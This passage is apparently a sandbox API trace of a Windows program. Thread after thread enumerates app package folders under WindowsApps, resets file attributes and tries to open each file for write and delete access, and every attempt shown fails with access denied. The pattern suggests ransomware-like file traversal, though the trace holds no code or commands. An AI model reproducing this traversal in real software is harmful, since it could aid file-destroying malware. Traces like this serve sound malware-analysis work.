	[0081.781] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.781] GetLastError () returned 0x5
	[0081.781] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89b38) returned 1

Thread:
	id = 580
	os_tid = 0x183c

	[0077.479] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.873] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.229] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.229] GetLastError () returned 0x5
	[0085.229] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.229] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1

Thread:
	id = 581
	os_tid = 0x1840

	[0077.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4723540
	[0077.480] wcscpy (in: _Dest=0x4723540, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.480] wcscat (in: _Dest=0x4723540, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0077.480] wcscat (in: _Dest=0x4723540, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0077.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748558
	[0077.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4748558 | out: lpFindFileData=0x4748558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f5da18, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3d897, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70780
	[0079.447] wcscmp (_String1=".", _String2=".") returned 0
	[0079.447] FindNextFileW (in: hFindFile=0x2d70780, lpFindFileData=0x4748558 | out: lpFindFileData=0x4748558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f5da18, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3d897, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.447] wcscmp (_String1="..", _String2=".") returned 1
	[0079.447] wcscmp (_String1="..", _String2="..") returned 0
	[0079.447] FindNextFileW (in: hFindFile=0x2d70780, lpFindFileData=0x4748558 | out: lpFindFileData=0x4748558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f5da18, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f5da18, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f5da18, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="Base1MedTileThin.scale-100.png", cAlternateFileName="")) returned 1
	[0079.447] wcscmp (_String1="Base1MedTileThin.scale-100.png", _String2=".") returned 1
	[0079.447] wcscmp (_String1="Base1MedTileThin.scale-100.png", _String2="..") returned 1
	[0079.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x116) returned 0x47723f8
	[0079.447] wcscpy (in: _Dest=0x47723f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0079.447] wcscat (in: _Dest=0x47723f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0079.447] wcscat (in: _Dest=0x47723f8, _Source="Base1MedTileThin.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png"

Thread:
	id = 582
	os_tid = 0x1844

	[0077.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x47cf020
	[0077.480] wcscpy (in: _Dest=0x47cf020, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.480] wcscat (in: _Dest=0x47cf020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.480] wcscat (in: _Dest=0x47cf020, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47487c0
	[0077.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47487c0 | out: lpFindFileData=0x47487c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ad68
	[0085.232] wcscmp (_String1=".", _String2=".") returned 0
	[0085.232] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x47487c0 | out: lpFindFileData=0x47487c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.232] wcscmp (_String1="..", _String2=".") returned 1
	[0085.232] wcscmp (_String1="..", _String2="..") returned 0
	[0085.232] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x47487c0 | out: lpFindFileData=0x47487c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.232] FindClose (in: hFindFile=0x477ad68 | out: hFindFile=0x477ad68) returned 1
	[0085.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47487c0) returned 1
	[0085.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0085.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02198) returned 1

Thread:
	id = 583
	os_tid = 0x1848

	[0077.481] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.780] GetLastError () returned 0x5
	[0081.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e022b0) returned 1

Thread:
	id = 584
	os_tid = 0x184c

	[0077.482] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0079.790] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.790] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.790] GetLastError () returned 0x5
	[0079.790] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790c88) returned 1

Thread:
	id = 585
	os_tid = 0x1850

	[0077.483] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0079.788] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.789] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.789] GetLastError () returned 0x5
	[0079.789] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.789] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e023a0) returned 1

Thread:
	id = 586
	os_tid = 0x1854

	[0077.484] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0079.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.786] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.786] GetLastError () returned 0x5
	[0079.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a3f0) returned 1

Thread:
	id = 587
	os_tid = 0x1858

	[0077.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44b40
	[0077.484] wcscpy (in: _Dest=0x2e44b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.484] wcscat (in: _Dest=0x2e44b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0077.484] wcscat (in: _Dest=0x2e44b40, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0077.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759168
	[0077.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4759168 | out: lpFindFileData=0x4759168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7d9181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e4fcf04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71480
	[0079.790] wcscmp (_String1=".", _String2=".") returned 0
	[0079.790] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x4759168 | out: lpFindFileData=0x4759168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7d9181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e4fcf04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.790] wcscmp (_String1="..", _String2=".") returned 1
	[0079.790] wcscmp (_String1="..", _String2="..") returned 0
	[0079.790] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x4759168 | out: lpFindFileData=0x4759168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7da30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e622b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 1
	[0079.790] wcscmp (_String1="AppTiles", _String2=".") returned 1
	[0079.790] wcscmp (_String1="AppTiles", _String2="..") returned 1
	[0079.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2e3bde0
	[0079.790] wcscpy (in: _Dest=0x2e3bde0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0079.790] wcscat (in: _Dest=0x2e3bde0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0079.790] wcscat (in: _Dest=0x2e3bde0, _Source="AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles"
	[0093.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3bde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0093.364] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x4759168 | out: lpFindFileData=0x4759168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7da30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e622b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0093.364] FindClose (in: hFindFile=0x2d71480 | out: hFindFile=0x2d71480) returned 1
	[0093.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4759168) returned 1
	[0093.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44b40) returned 1
	[0093.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02490) returned 1

Thread:
	id = 588
	os_tid = 0x185c

	[0077.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x47cf368
	[0077.486] wcscpy (in: _Dest=0x47cf368, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.486] wcscat (in: _Dest=0x47cf368, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.486] wcscat (in: _Dest=0x47cf368, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758f00
	[0077.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71480
	[0079.785] wcscmp (_String1=".", _String2=".") returned 0
	[0079.785] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.785] wcscmp (_String1="..", _String2=".") returned 1
	[0079.785] wcscmp (_String1="..", _String2="..") returned 0
	[0079.785] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x4758f00 | out: lpFindFileData=0x4758f00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.785] FindClose (in: hFindFile=0x2d71480 | out: hFindFile=0x2d71480) returned 1
	[0079.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4758f00) returned 1
	[0079.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf368) returned 1
	[0079.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1

Thread:
	id = 589
	os_tid = 0x1860

	[0077.487] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.787] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
